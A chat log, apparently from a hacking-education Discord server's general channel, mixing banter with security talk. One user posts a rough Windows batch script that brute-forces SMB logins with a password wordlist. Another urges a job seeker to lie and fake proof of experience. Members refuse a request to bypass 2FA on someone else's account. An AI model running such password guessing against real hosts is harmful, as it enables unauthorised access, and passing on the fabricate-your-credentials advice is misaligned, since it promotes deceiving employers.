general

[supple plume]

only he knows and not even that

@devout sail

cya chat

[sturdy thistle]

almost weekend

[devout sail]

Big boobies

[thick forge]

Xd

[devout sail]

Read this discussion lol
https://github.com/matplotlib/matplotlib/pull/31132

Ai got butthurt

[scenic maple]

[supple plume]

@scenic maple

[scenic maple]

Yeah but you have no proof

[supple plume]

proof

[scenic maple]

I see you talking

[supple plume]

hahahah]

ok

aright

[scenic maple]

[supple plume]

not my business anyway

[scenic maple]

🤠

[supple plume]

goddayun I wish we never invented internet

[mystic harbor]

0 bald

[supple plume]

@mystic harbor

[mystic harbor]

I have proof of echo harassing me 🥀

[scenic maple]

I bet he has worse things to show me abt u tho

[mystic harbor]

Bald guy is nice

[thick forge]

How the post are going

In the jekyll site

[mystic harbor]

Haven't yet 🥀

[thick forge]

[mystic harbor]

[thick forge]

I was thinking to Star posting in my blog

[supple plume]

Send link if you do

[supple plume]

Because this guy's website up there is unreadable

[thick forge]

Search kypanz in Google and dox me easy

[supple plume]

Too many steps

[thick forge]

I Will waiting My pizza

[supple plume]

Send me a potential phishing link for me to click or nothing

[mystic harbor]

https://wordpress.org/support/users/kypanz/
🥀

[mystic harbor]

Skill issue

[thick forge]

When the first post ?

👀

[mystic harbor]

I did it but it's for testing and sucks

I have written writeups need to post them

Notes later

[thick forge]

I was thinking about do some YouTube videos, but i am not sure how to Start

[rapid swallow]

Https://www.youtube.com

There ya go

[thick forge]

Time to do spanish content

Explaining how to attacks things by the planning side

[meager kernel]

gonna do hacking again

[thick forge]

But who echo says, todo many steps xD

[tawdry sorrel]

Congratulations on Guru 🔥

[terse dirge]

I LOVE NETWORK ADMINING AT 2AM 🤩🤩

Kill me please I'm configuring wire guard for the first time

[halcyon basalt]

Hi everyone! I have a question regarding the Pro Labs. You get certificates for completing them, right? If so, do they send you a physical copy?

[sharp shuttle]

No physical copies

But you get a digital one

[halcyon basalt]

Understood, ty sir!

[sharp shuttle]

good luck

[devout sail]

Start with hello

[rustic carbon]

isn't it just crazy how big players can influence entire economies if they want to

[devout sail]

Nothing crazy

[rustic carbon]

look how high the ram prices have gone just because a few people wished for it

[sturdy thistle]

hello, i'm kypanz sir

[sharp shuttle]

a few people?

[devout sail]

Get slapped then

[sharp shuttle]

dude those AI companies were putting million dollar orders

[rustic carbon]

if they wish they could increase the prices further, make cloud gaming cheaper and then you are forced to pay subscription

[rustic carbon]

yeah

[sturdy thistle]

frew ppl

[rustic carbon]

I mean just its such a process you cannot do anything

[rustic carbon]

few companies

[sharp shuttle]

dont accept cloud gaming

[rustic carbon]

yeah

but like if they want to fuck with us they can

[sharp shuttle]

lol

thats kinda the point

[rustic carbon]

they literally can buy out the stocks of ram,the prices reach their limits, then they say cloud gaming only

Buy the subscription own nothing

and make our ai data centres some money because Ai doesn't make shit

same goes for any computational power

[sturdy thistle]

i wonder where my AI data center is

[sharp shuttle]

idk gaming has peaked anyway

people still mostly play old ass games

i play runescape and hearthstone. both can run on an esp32

[devout sail]

I'm sitting in one 😼
Tell me if your AI stops working

[sturdy thistle]

ye

it did

[devout sail]

[rustic carbon]

nah man I mean its still profitable, wait and watch the hype when gta 6 releases

[devout sail]

Didn't even touch them yet

[sharp shuttle]

only mobile gaming is profitable it seems

[sturdy thistle]

i hope Ai will be more consumer and end user frienldy

[rustic carbon]

xD

[sharp shuttle]

gambling is the only profitable type of game

[sturdy thistle]

like create your onw claude code max plan

without the reset limits

[rustic carbon]

BTW guys if no one funds openai in 2026 end they will start rolling ads

[sharp shuttle]

they already did dude

last week

[rustic carbon]

what

no fuking way

yeah they didnt

[devout sail]

https://www.kkinstagram.com/reel/DRkYj5OASo6/

[sharp shuttle]

Yeah they did

??

in the free model

4 days ago

[rustic carbon]

TESTING ADS

[devout sail]

Share if u get

[rustic carbon]

its ok honestly

They are search sponsored ads

not like google that uses every bit of user info to get ad revenue

[sharp shuttle]

is testing ads not running them?

[rustic carbon]

yeah

[sharp shuttle]

testing is just a marketing term

[rustic carbon]

some users may get it

[dim lagoon]

Hi i'm new

to everything computers

👍

[thick forge]

[dim lagoon]

@echo off
set /p ip="10.56.202.106: "
echo %ip%
pause
@echo off
set /p ip="10.56.202.106: "
set /p user="david: "
set /p wordlist="password.txt: "

for /f %%a in (%wordlist%) do (
echo %%a
set pass=%%a
call :attempt
)
echo Password not Found : (
pause
exit

:success
echo Password Found!: %pass%
pause
exit

:attempt
net use \%ip% /user:%david% %pass%
echo attempt: %pass%
if %errorlevel% EQU 0 goto success

string of code that works in CMD

[tawdry sorrel]

AI

[dim lagoon]

wow just wow

try it yourself

just copy the code but make another password list and try it

password
rootbeer
raspb3rry
toor
pi3
dime76
tigers96
dave321
time762
33121
hipi453
1;mahi99e994
1883945
p@ssw0rd
d3d21
steam573482
tr33
7894

my list of fake passwords

[gray wraith]

Thanks now I reverse DNS like SAM ALTMAN

[dim lagoon]

they are fake?

[cerulean bloom]

My early, sincere apologies to whomever looks at my future submitted challenge lol
You'll need to read A LOT

[topaz topaz]

Does any1 know how to take 2fa of my acc i got logged out i have the email and everything plz dm

[gray terrace]

An yes a skid from a skid community asking bs questions

[west venture]

This ain't tuf tho

[gray terrace]

It’s always the white names

[west venture]

You have hashcat

[sturdy thistle]

ask support

[gray terrace]

Bro is from a game hacking community that peddles in hwid spoofers

[sturdy thistle]

oh then nvm

you've lost everything

not sorry

[topaz topaz]

No this isn’t my acc

[gray terrace]

Yea nah he’s on some bs

[sturdy thistle]

bro has epstein as pfp

[topaz topaz]

lol yes

[sturdy thistle]

you are sick

[topaz topaz]

But support doesn’t do anything

[gray terrace]

Bro is on the flight logs

[sturdy thistle]

then idc

[topaz topaz]

I’ve contacted them 100 times

Same email every time

[sturdy thistle]

skill issue

think about your life

[topaz topaz]

Bruh I’m asking

lol

[sturdy thistle]

i'm answering bruh

lol

[gray terrace]

Go ask support homie it’s as simple as that

[topaz topaz]

Yes but look wait

I’ll show the email

[gray terrace]

Nobody here is going to magically remove your 2fa for you

Regardless of what you show

[topaz topaz]

yes but do support do it anymore

Because I just get same andwer

If them

[sturdy thistle]

we dont care

[topaz topaz]

Alr

[gray terrace]

Yea nah

[topaz topaz]

snm

[sturdy thistle]

fly back with epstein

[topaz topaz]

do something

Boy

[sturdy thistle]

❤️

😂

[gray terrace]

You’re def a 16 year old skid

[topaz topaz]

Come do something

[sturdy thistle]

bro got mad 😛

[gray terrace]

Go ask Claude to code you so more spoofers skiddy

[topaz topaz]

bc ur a need son

[topaz topaz]

Will do

[gray terrace]

https://tenor.com/view/michael-jackson-comendo-picoca-gif-9669437860846841235

[sturdy thistle]

and banned

[oak timber]

hi

[lofty marsh]

Wsg wsg

[sturdy thistle]

i also reported his message to discord

[green kite]

sad times

[lofty marsh]

The fuck?

What happened

[sturdy thistle]

just a sidequest appeared

[lofty marsh]

Im interested 💀

Hold up lemme scroll

[west venture]

Why did you ban him

[gray terrace]

https://tenor.com/view/thug-life-i-didnt-choose-it-chose-me-nerd-gangsta-gif-24019724

[sturdy thistle]

he wrote a word which is not nice lets say

[lofty marsh]

HAHAHAHAHAHA

BRO WTF

[sturdy thistle]

i hope he get 2FA everywhere

and can't unlock it

[lofty marsh]

But what was wrong with that question?

[gray terrace]

Dude oh my goodness what a laugh before bed 😂

[gray terrace]

Dude was phishing for sure

[sturdy thistle]

nothing to do with HTB 2FA

[lofty marsh]

Ohhhh

Damn bro thats crazy

[gray terrace]

Yea he was shiesty and when nobody wanted to play he resorted to provocations and name calling

[lofty marsh]

Epstein is phishing

[sturdy thistle]

alr, let's focus on more important stuff

it's friday

[lofty marsh]

Yee

like cubetalks

[oak timber]

for sure

[lofty marsh]

u gonn be there?

[dim lagoon]

https://www.youtube.com/watch?v=YKD9clmYThE

[sturdy thistle]

i'll listen probably

[gray terrace]

Correct sir, it’s time for me to sleep so I can enjoy my Friday. Night mick, thanks for the laugh and keep it gangsta

[dim lagoon]

mick

[sturdy thistle]

5.99

[dim lagoon]

nvm

[sturdy thistle]

yes?

[lofty marsh]

Today is my last day here prolly I wanna ask shit on cubetalks and I'm gonna lock in on labs..

[dim lagoon]

nvm

[sturdy thistle]

no - say it

[gray terrace]

Man jumped on his alt but don’t want to get banned again

[lofty marsh]

Imagine

[gray terrace]

He used his fancy hwid spoofer

[sturdy thistle]

please never ask me for 2FA

[dim lagoon]

what?

[tough oyster]

huh

[gray terrace]

That’s rude of me I don’t know if that’s true

I’m just kidding

[dim lagoon]

what alt this is my new acc

I forgot the password to my old one but i got the acc back

[gray terrace]

Did you lose 2fa?

I hear support can help ask mick

:p

[dim lagoon]

that's my old acc

[sturdy thistle]

Well, we can't assist with discord account issues

thats up to discord

[lofty marsh]

Why do people think that an ethical hacking server gonna help them with grey hat shit?

Damn

[dim lagoon]

idk

[gray terrace]

I mean listen… if the money is right you know what I mean?

Jk jk

[lofty marsh]

Dude probably is against them on general but helps them on dm

Na kidding

[gray terrace]

Nah but for real I sleep now

https://tenor.com/view/gudnaitinis-gif-17703749535812827607

[dim lagoon]

https://www.youtube.com/watch?v=YKD9clmYThE

[sharp shuttle]

https://klipy.com/gifs/king-of-the-hill-bobby-3

[lofty marsh]

Ooo brath

I need ur help a little

[lofty marsh]

Got any easy retired boxes to look at ippsec?

[dim lagoon]

https://www.youtube.com/watch?v=YKD9clmYThE please like my vid I worked so hard on it

[frozen zinc]

more than 20 assets manually? Sure yes....

And i know I could have done it manually, that's why I automatized the manually process....

[supple plume]

*Bypass DNS authentication

[lofty marsh]

@supple plume 🥹👉👈

[supple plume]

Bro retires boxes come with writeup

[lofty marsh]

I mean easy ones vro

[supple plume]

Try the guided mode and use the writeup if you get stuck

[lofty marsh]

even the skiddest of the skids could do it

[supple plume]

If you're still stuck pause and investigate what is going on

Rtfm and stuff

[supple plume]

Starting point are good ones

[supple plume]

Bro this is what I do

[lofty marsh]

I mean to look at ippsec

Easy ones that he easily explains

[supple plume]

So you want me to go to you YouTube and make a simple query for you?

[lofty marsh]

From your experience....

What are the easiest

Retired

boxes

[supple plume]

Listen

If you filter them in the website

By peoples rating

You can find the easiest

[frozen zinc]

This guy is always making the same questions over and over lol

[lofty marsh]

[lofty marsh]

Dude how is this the same question

I asked yesterday how do I get started and now what is the easiest matchine

[frozen zinc]

Is always how is the most easy way to do X

[lofty marsh]

Its not the same questions tho

U hating for no reason

[frozen zinc]

hate is such a big feeling

I dont hate

[lofty marsh]

ooo sigma male there

anyway

echo u got any or should I look myself and end up in a pithole?

[supple plume]

He has a point, you ask questions that you could find the answer just stopping for a moment and thinking about it

It's ok to ask questions tho

[lofty marsh]

Well sorry I asked then 💀

[supple plume]

Bro is true. Don't be sorry it's ok

In a real job if you ask too much people get upset

[frozen zinc]

Bro you need to embrace that the struggling is part of the process

we told you many times

and you keep trying to bypass that

[lofty marsh]

I just needed a little hand

[frozen zinc]

and when we tell you you get aggro

[lofty marsh]

Aight fine stop I'll look for them myself

[supple plume]

Try what I suggested, filter by rating and then look at ippsec channel for these machines

[lofty marsh]

Yee that's what I was about to do

Are they all os penetration?

No web?

[supple plume]

Most linux machines have web. Then OS privesc inside

[lofty marsh]

Aight got it thx vro

[supple plume]

Some windows machines have web

[gray wraith]

Was that what he said? Damn

U got a good memory

[eager gust]

https://tenor.com/view/anime-wave-hello-chibi-greetings-gif-11452049381117857884

[supple plume]

I remember because it was funny when someone said "DNS doesn't have authentication "

[terse dirge]

I love DNS it always works great for me!

[supple plume]

it was you I believe who said that

[terse dirge]

Said what?

[supple plume]

this

[terse dirge]

Maybe

[gray wraith]

Ive been so lazy today when I come back from work i finish free solo and lock tf in

[supple plume]

every time I update arch something mulekicks my wallnuts

[devout sail]

wear nutguard

[nocturne kayak]

which admin can i dm about a challenge submission i did several months ago?

[zealous charm]

[undone fossil]

discord staff != htb staff

likely give someone on the content team a nudge, thecybergeek etc.

[devout sail]

Well i know some who checks machine submission

[nocturne kayak]

yep talking about htb staff ofc

[devout sail]

Yeah cybergeek won't really mind DM from what I've seen in chat

[nocturne kayak]

yep talked with him like 2 months ago but he's not in charge of challs anymore

[sturdy thistle]

support ticket is better

[west lynx]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[nocturne kayak]

i tried and didn't get an answer, that's why i went for dms

but ig i'll try again then

[devout sail]

https://tenor.com/view/polar-express-conductor-ticket-punch-one-gif-8100662033726829992

[undone fossil]

iirc they're supah busy with uni ctf stuff rn

[nocturne kayak]

is uni not like around september or something like that?

like end of the year

well time to wait now :3

btw for uni ctf is it only htb staff or external people can work on challs?

[meager kernel]

could have revealed whats below the red bar

[nocturne kayak]

nah people will see im in the files

[dim lagoon]

yo what

[meager kernel]

@austere sinew

[upbeat tangle]

Remember if mkOx disappear he did NOT off himself :

[nocturne kayak]

yep

im pretty happy in life

don't want to kms with 5 bullets in my back

[crisp sand]

need help with overwatch

[sturdy thistle]

what kind of help?

[crisp sand]

inside mssql

[sturdy thistle]

is it #boxes or #starting-point

[crisp sand]

the overwatch box

im stuck in mssql

[sturdy thistle]

then #boxes

[crisp sand]

ah ithought im in boxes

[exotic pendant]

Finally Friday

[zealous charm]

🥳

[exotic pendant]

I’m tired of h1

4 years and silence on an issue. I submitted a support ticket and they closed with no comment

[lofty marsh]

Dudes I need a favour from yall

Since its gonna be my last cubetalks I want you to upvote my first question since its important pls

[meager kernel]

https://tenor.com/b188a.gif

[arctic spruce]

gm, day 140 of funemployment. Happy Friday 😄

[lofty marsh]

I thought we were friends

[meager kernel]

[upbeat tangle]

I remember when i were young and unemployed, the days were slow af

[supple plume]

Day 7 here I believe, it's not being much fun so far

[upbeat tangle]

broke life

[meager kernel]

you became yellow

[supple plume]

You daltonic

[upbeat tangle]

Damn straight

[arctic spruce]

Just starting out is pretty scary, but it genuinely gets better!

[upbeat tangle]

Except that in 2 weeeks from now his old employer will call him and beg to come back because its all a mess in the office

the new hire dont do anything and he will promise to not treat echeos like crap anymore

[zealous charm]

A former employer did that after a round of layoffs. 6 months later they reached out to those who still did not find work and offered them their old roles for $10-20k less salary

[upbeat tangle]

LOL

salary decrease

i want to use swear words to describe that

[arctic spruce]

waow is swearing not allowed here?

[upbeat tangle]

idk xD

never thought to check properly the rulez

[arctic spruce]

ah rulez, that capricious mistress.

[muted olive]

friday the 13th

[exotic pendant]

Emailed HackerOne saying how disappointed I am

I’m sure that’ll also get ignored like the other emails in the last 4 years

[sturdy thistle]

how to get banned on h1

[meager kernel]

i completed starting point for fun

its now finally over

[exotic pendant]

If they ban me for pointing out they are ignoring me

There’s a bigger problem

[heady sage]

Frosto! I learned how to leverage php disabled_functions to leverage execution on a ssti!

[exotic pendant]

Aye nice!Sounds like you’ve been moving forward pretty fast

[heady sage]

Yup! I’m actually really good at source code review!

[muted olive]

4 years and they still haven't fixed?

[heady sage]

And web!

[exotic pendant]

13 tickets marked NA because a triager made a mistake on setting the wrong action

Causing neg rep

He said “let’s wait to hear back the company” and marked the ticked as “need more information”

It caused hackbot to mark it na because inactivity

[muted olive]

2 of mine on Bugcrowd are still like that

*3

[heady sage]

Remember our stint on Bugcrowd together?

[muted olive]

Should do that again in the future sometime

[heady sage]

We almost got that NASA letter lmao

[exotic pendant]

“Need more information” = reporter needs to report more info

“Waiting on company” = blocker is set to hear back from comapny

[zealous charm]

I actually had one supper ticket go right for me last week and the customer paid up after duping me to myself

[muted olive]

except company never replies

[exotic pendant]

Since they marked it as need more information, hackbot saw I don’t reply and marked NA

[heady sage]

I’m better these days, so you’ll have to watch out for my speed! @muted olive

[exotic pendant]

Even tho it wasn’t me we’re waiting on

I put a mediation ticket in 2022, silence

I emailed and they told me to put a support ticket in. Silence

[muted olive]

is it some product? you could've tried MITRE if so

[exotic pendant]

I emailed back 4 times in the last 3 years since

Silence

[heady sage]

H1 would rather stalk Twitter than answer hackers emails

[exotic pendant]

I put a new ticket in the other day

Instant closed, no comment

[exotic pendant]

No it was13 XSS on Dod

I just want my rep fixed

Idc about mitre or any cve

[heady sage]

Frosto, do you have a good way to find sinks?

[zealous charm]

home depot has some

[exotic pendant]

Check out the burp browser extension

Dom intruder

[heady sage]

Not like that you goofy

[muted olive]

they rejected one of my bugs which NASA accepted lol

[exotic pendant]

Ayo h1 replied back

They said they’re prioritizing my ticket

But then again

[muted olive]

👀

show

[exotic pendant]

Watch it go nowhere

[heady sage]

I found prototype pollution and want to escalate it but I don’t have gadgets!

[exotic pendant]

Oo PPs are fun

[muted olive]

yeah not going anywhere lol

[heady sage]

Insecure deep merge ftw

[exotic pendant]

I’ll give it a week before I reply back “wtf still silence”

The company fixed the issue already

[muted olive]

@exotic pendant I think I found a vuln in syzkaller code this morning lol

[heady sage]

Is there any other way that PP is introduced? @exotic pendant

[muted olive]

finding bugs in the thing which finds bugs

[exotic pendant]

[exotic pendant]

Other languages have similar issues but proto is js specific

But generally user controlled input gets merged into object

Can’t think any other way it would occur

Even if h1 marks my tickets as informational like screw it

No points is better than neg points

Even tho they’re valid XSS

[upbeat tangle]

I thought you would have STARTED in the STARTING zone when you signed up for this....

[meager kernel]

I didn't complete all machines, some of them required VIP

[zealous charm]

Yeah, I like when triagers are homies and let you self-close for no point loss

[devout sail]

Out of context
This is funny

[supple plume]

Ghost pinged 🥀

[zealous charm]

any hacking today?

[supple plume]

@mystic harbor

[exotic pendant]

Yeah but they’re also valid bugs lol

[supple plume]

Yes everyday since I quit

[exotic pendant]

I don’t think I’ve ever self closed a ticket

[exotic pendant]

[upbeat tangle]

@supple plume needs to complete tomorrows release in 5 minutes or im disappointed

[exotic pendant]

I should put that in my report next time I find one “found a big PP on the site”

[mystic harbor]

i didnt do it

[supple plume]

I'll vibe code a root rev shell this time

[zealous charm]

I once had an auth bypass where the app returned account recovery security questions in the HTTP response. I had the burp logs as proof, screenshots, and I logged into an employee account, but I could never reproduce it again . That was the worst self-close ever because it was P1

[upbeat tangle]

Straight from the scan to root in 5 minutes

[exotic pendant]

I’ve had it on bugcrowd. The bug worked and then suddenly the site was down for a month. The triager did let me wait for it to come back up

I was like “I promise it worked!”

I also did have one app owner marked my ticket as NA and reset the site back to factory settings. The triager thankfully was like “nah he did this to multiple reporters” and reopened it

[muted olive]

I found a bug which got unintentionally fixed in the next release lol

[exotic pendant]

[muted olive]

idk if they take ones which still have it in version x or not

[exotic pendant]

I’ve been dreaming about pizza

Soon

Only 6-7 more weeks

[muted olive]

in fact the entire code got refactored. that file doesnt exist anymore

[muted olive]

on diet?

[zealous charm]

I had a customer tell me their desktop app running remote .exe's as a childprocess from any site is not their problem

[meager kernel]

I need motivation for gym

[exotic pendant]

Ye I’ve been dieting for the last 6 weeks

My abs came back

[meager kernel]

@exotic pendant give gym motivation pls

[exotic pendant]

My abs came back

[meager kernel]

😭

I also want

I have back day today

[upbeat tangle]

abs its overrated

[meager kernel]

Yk what I want
To deadlift 150 Kgs

[exotic pendant]

When you diet hard, when you eat food it tastes 10x better

So next time I eat pizza

It’ll taste insane

[upbeat tangle]

Then train your back, the whole chain including hamstrings and calves

and learn to recruit your glutes properly

[muted olive]

whats your fav pizza place

[upbeat tangle]

you will smash 150 like nothing

[meager kernel]

Im feeling lazy rn

[exotic pendant]

It depends sometimes 4 cheese, extra pepperoni or bbq chicken

Thin crust

[upbeat tangle]

I have trained really hard in my 20s, i used to love it alot

I did a single on 160kg bench press

[upbeat tangle]

building up to that lift i trained 3 times a week chest

[exotic pendant]

Add some hot honey at that

[zealous charm]

looks like it serves 1-2

[muted olive]

Overly thin crust is bad (this is why I avoid it)

[exotic pendant]

Yeah 1 Frosto for snack

[muted olive]

one place gave me a thin crust which was like

toppings on a very big dorito

[exotic pendant]

Ny style is good or crispy tavern cut

[upbeat tangle]

@meager kernel just make sure you train your back chain properly and learn to recruit all muscles before attempting high weights on deadlift, because you will destroy your back if you dont

[exotic pendant]

I did just delts today

And arms tomorrow

[meager kernel]

Yea I've learnt
My max rn is 125 Kgs

[exotic pendant]

I don’t dl but I hit 405 squat after not squatting for a few years

405lb

183kg

[upbeat tangle]

insane leg strength

nicely done

[exotic pendant]

I also got lucky with larger arm genetics

[upbeat tangle]

yeah those are insane

[sturdy thistle]

gib me that juice

[upbeat tangle]

the insertions are long

[exotic pendant]

Just eat the pizza

[upbeat tangle]

and at the same time bulky

[sturdy thistle]

pizza juice

[upbeat tangle]

its like the god genetics on biceps

[exotic pendant]

That was during contest prep

https://x.com/frostb1ten/status/2017362907260989876?s=46

this was closer to the show

I’ll remove embed

[upbeat tangle]

lol

fantastic work

you can be proud of it

I have only been looking that good for like 1 month in my whole life 😄

[austere sinew]

Gib gym plan pls @exotic pendant

[gray wraith]

Jfc

You are built like a unit

Didnt know Frost is so jacked

[gray wraith]

[austere sinew]

@twilit kayak bro who are you 💀

Wtf that was message request

[zealous charm]

post it

[austere sinew]

I have been nerfed

[gray wraith]

Maybe a bot

[zealous charm]

for good reason

[austere sinew]

With the limitations of noob

[austere sinew]

Indeed sir

Indeed

[zealous charm]

[austere sinew]

And instead of responding to my ping they sent a friend request

[upbeat tangle]

the same guy message me too

asking about membership into a certain very racist group from the 50s america

[austere sinew]

WHAT?

That is WILD

[upbeat tangle]

So what are everyone up to this beautiful friday?

[rustic carbon]

yo

[rustic carbon]

https://tenor.com/view/jason-friday-the-13th-gif-17432422802850873843

yeah this shitty thing cant even post gif

[upbeat tangle]

Friday the 13th, oh damn

LOCK YOUR DOORS

[heady sage]

CWEE path

[rustic carbon]

if you could geton degree for your entire life what would it be

[zealous charm]

work, hacking, then freedom in 8 hours

[rustic carbon]

certified ✔️

[heady sage]

@zealous charm Do you have any resources for XPATH?

[upbeat tangle]

idk really, i never really cared much about degrees

[rustic carbon]

no degree hacker ?

[upbeat tangle]

No i dont have, its just a hobby for me

[rustic carbon]

everywhere I fucking go its like this except my stupid country

[rustic carbon]

ohh

wait you look 18+ so what do u do ?

[upbeat tangle]

im closer to 40 at this point than 18 😄 , i am a construction worker

[rustic carbon]

nice

so you make buildings?

[upbeat tangle]

thats right brother

[rustic carbon]

lift objects with crane ?

or architecture the physics behind buildings

[upbeat tangle]

physical work

boots on the ground

[rustic carbon]

cool

[upbeat tangle]

So i work physical and then after job i look at stuff like this:

string destinationFileName = Path.Combine("C:\samples\queue\", e>
entry.ExtractToFile(destinationFileName);

[rustic carbon]

WWhy dont you take a look at robotics and there working capacity

maybe try to squeeze in some new stuff before retirement

[rustic carbon]

rare

[upbeat tangle]

What does this beautiful string of code tell you

[rustic carbon]

yk in my country they despise the Labour work

[upbeat tangle]

There is no path sanitization whatsoever

[rustic carbon]

?

[upbeat tangle]

that string of code tells that story

[cedar fable]

hi

[rustic carbon]

extracter

[heady sage]

This is my student @cedar fable , treat him with respect

[upbeat tangle]

Welcome @cedar fable

[cedar fable]

thank you thank you

[rustic carbon]

dark Vader has students, like master like student

[upbeat tangle]

So that string of code belongs to a automated service account, which moves files around the system

[rustic carbon]

hmm

why remove files

[upbeat tangle]

not remove, move

[rustic carbon]

hmm

automatically move

[upbeat tangle]

So, lets say there is an upload function on the server. than this automated service account will serve the upload function to put the uploaded files in the correct directory

[rustic carbon]

I mean yeah ofcourse not automatic you execute th3 code, what's ur point ?

[warm ravine]

Whaddup fellas?

[rustic carbon]

ok

[supple plume]

Hi

[warm ravine]

How ya doin

[upbeat tangle]

Than, if there is no path sanitazion that means you can get this account to move a file for you into a location where its not supposed to be. For example, a location with code execution

[zealous charm]

Not really, the xpath is always pretty janky. There is xcat but it sucks

[rustic carbon]

*then, hmm

nice

[upbeat tangle]

this is called a "Zip slip" attack

[supple plume]

Good, getting ready to tackle some labs

[rustic carbon]

wait in hacking dont we learn why this is happening ?

why does this exist in the first place

[warm ravine]

Eh, well I'll be busy learning Linux.

[rustic carbon]

why should there be path sanitization to prevent this

[supple plume]

Good luck

[upbeat tangle]

The function existing is not the problem, its working as intended. the problem is the lack of path sanitization which is usually a misconfiguration

[warm ravine]

It has lots of sections so it'll take a lot of time

And I can hear my stomach grumpling

[rustic carbon]

cant I work my logic other way around

[supple plume]

Install arch linux to maximize the pain

[upbeat tangle]

yes you can, reverse engineering is good

[rustic carbon]

hmm

[warm ravine]

I'm not gonna do that yet

Basics first

I hate going to the master level while has a little knowledge of hacking right now.

[supple plume]

Ngl if I started again I would install arch first

[gray wraith]

Why

[supple plume]

Because of the simplicity

[upbeat tangle]

the reason why im looking at this specific attack type right now is because of @supple plume

[gray wraith]

Dont you have to set up a lot of stuff manually?

[supple plume]

Only some stuff, and I mostly use a package manager. If I break something I learn so it's a win-win

[rustic carbon]

what did he do?

[supple plume]

I have my computer ready to be destroyed

If it breaks at any point I don't lose anything

[upbeat tangle]

He just mentioned the words zip slip, and i went down the rabbit hole

[supple plume]

I can get back to my setup in 10 minutes

[gray wraith]

You like the thrill

[supple plume]

I have a repository with scripts to install all my things

So I just run the scripts and I am back

[supple plume]

I like it enough to do it this way

[rustic carbon]

does anyone of you use qubes

[upbeat tangle]

no, i think you need to be a psychopath

to do that

[undone fossil]

no

ok i might but it depends as to whether they like frogs

[heady sage]

They do

[rustic carbon]

XD, why because it takes too much power

[cedar fable]

i love frogs

[undone fossil]

ok this is good

[upbeat tangle]

with increased security comes increased steps of annoyance

[undone fossil]

^ more of a ux thing really

[upbeat tangle]

its a tradeoff, how many hoops do you want to go through

[undone fossil]

sure i could but can't justify it

[meager kernel]

You gotta be paranoid to use qubes

[undone fossil]

i can see journalists and such using it sure

otherwise idk man

if you're a criminal and your threat model includes LE, even then in most cases qubes isn't going to be the thing that saves you

[cerulean bloom]

is or isn't?

[low sleet]

hi guys

[undone fossil]

my typo - isn't

[cerulean bloom]

awww, man, cube talks cancelled
I did volunteer to be g0blin's junior for the day and as guest speaker lol

[cerulean bloom]

makes more sense

[upbeat tangle]

i think frankenstein laptop without harddrive would be better xD

[cerulean bloom]

@upbeat tangle whats with the thumbs down

[supple plume]

I'm eating donuts

Btw

[upbeat tangle]

sad that the cube talk was cancelled for you

[cerulean bloom]

ah

yes

[pine topaz]

gimme

[cerulean bloom]

I pinged Falcon and everything

he didn't reply lol

[warm ravine]

@supple plume Whats the difference between Kali and Arch

[warm ravine]

[cerulean bloom]

A LOT

[cerulean bloom]

looks goooooood

[pine topaz]

Fuck, now i want something sweet

[cerulean bloom]

#1: arch is usually baremetal, while kali is usually full of tools you'll never use

[supple plume]

You asked me but everyone is going to answer so I'll just watch

[upbeat tangle]

HEY HEY dont blaspheme kali like that

you know how important it is for a construction worker to have a belt full of tools we never use

[cerulean bloom]

its true tho

[supple plume]

Kali is meant to instantiate in a virtual machine, do a job and then deleted. Arch is a minimalistic distro usually a daily driver and not necessary related to cybersecurity tasks

[cerulean bloom]

LOL

[upbeat tangle]

@supple plume im now studying your favorite attack chain

yet another version of AD abuse

[warm ravine]

So uh

Should I change to Arch rn?

[upbeat tangle]

no man

[cerulean bloom]

what do you need arch for?

[west venture]

I have applied for like 50 jobs and been never heard back from any of them I am so done

[devout sail]

1% done

[cerulean bloom]

referrals are the way to go tbh

[west venture]

Nah like I'm actually done fuck this field

[devout sail]

what will u do then

Change hat color?

[west venture]

Imma keep working at McDonald's and Farm

[devout sail]

farm sounds fun

[supple plume]

It depends on many things my opinion is not always the best advice

[upbeat tangle]

its the same on every job, once you have earned a reputation in a certain field its easy to get new jobs, but in the beginning its hard

[devout sail]

Excluding the hardwork

[supple plume]

Dang it Idk if it even is good advice

[devout sail]

it's hard
That's what she said

[west venture]

I just want to stab everyone in HR sometimes

[upbeat tangle]

We all do

[devout sail]

Start with @nimble tundra

He's the HRiest HR

[upbeat tangle]

@west venture You need to learn to NEVER tell HR the truth, because the main job for HR is to help the company, not help you.

[west venture]

I don't lol

They just need experience

If I say I have experience they ask for proof

[nimble tundra]

dude i am not a HR. i am just a Red Teamer

[upbeat tangle]

Lie your ass off, make fake proof

[devout sail]

You are HR in disguise

[upbeat tangle]

@west venture my number 1 advice in todays job market, fake it til you make it

[bold snow]

hes a fed

[devout sail]

That's his part time job

[upbeat tangle]

If you believe you are capable of doing the job, you lie whatever you need to lie about in order to get a chance to prove them that you are the correct fit

[outer valley]

is there a way to subscribe to hack the box with crypto like any way

[cerulean bloom]

no

officially? no

[nimble tundra]

I generally handle the technical round or the second interview to ensure candidates possess the specialized skill set required for our security operations.

[warm ravine]

Oh lord

[outer valley]

damn

[warm ravine]

I have HUNDREDS of things to learn

[devout sail]

Stop yapping start hacking

[bold snow]

would u eliminate a candidate if he fumbled a foundational question?

[cerulean bloom]

you never stop learning

[bold snow]

like on of em

[nimble tundra]

It depends

[supple plume]

That is what I thought when you said you're done with frontend but I wanted you to realize first

[upbeat tangle]

@west venture Its much easier to get hired from lieing and then quitting if you realize you cant handle the job, than it is to never get hired and never be given a chance. If you get the idea

[west venture]

Also fuck it I am going to use AI for everything from now on. I've done shit on my own to make it and feel genuine but clearly that doesn't mean shit.

[outer valley]

well can you learn it even without premium on htb

[devout sail]

I'm pro web dev
I can develop any web app within few years

Who needs AI when u got weird ahh friend to help

[supple plume]

Even me with 7 years of exp I know there is people that knows orders of magnitude more than I will ever do

[cerulean bloom]

like me

[devout sail]

Echo try fetch the flag ctf

Got like 3h left

[west venture]

And yeah to whoever asked if I'll change the hat, ransomware looks real appetizing right now.

[supple plume]

What ctf

[devout sail]

I literally said it in namw

From synk

[devout sail]

The way AI behaving nowadays
Wouldn't be surprised if they start actively competiting you with jobs

https://cdn.discordapp.com/attachments/858015991467737128/1471817553759436861/Screenshot_2026-02-13_at_4.07.22_PM.png?ex=69905069&is=698efee9&hm=14ebc93f9d9c22fd6585b8f9e7e2d4fd64965cda5629be9e8ea58547a884b807&

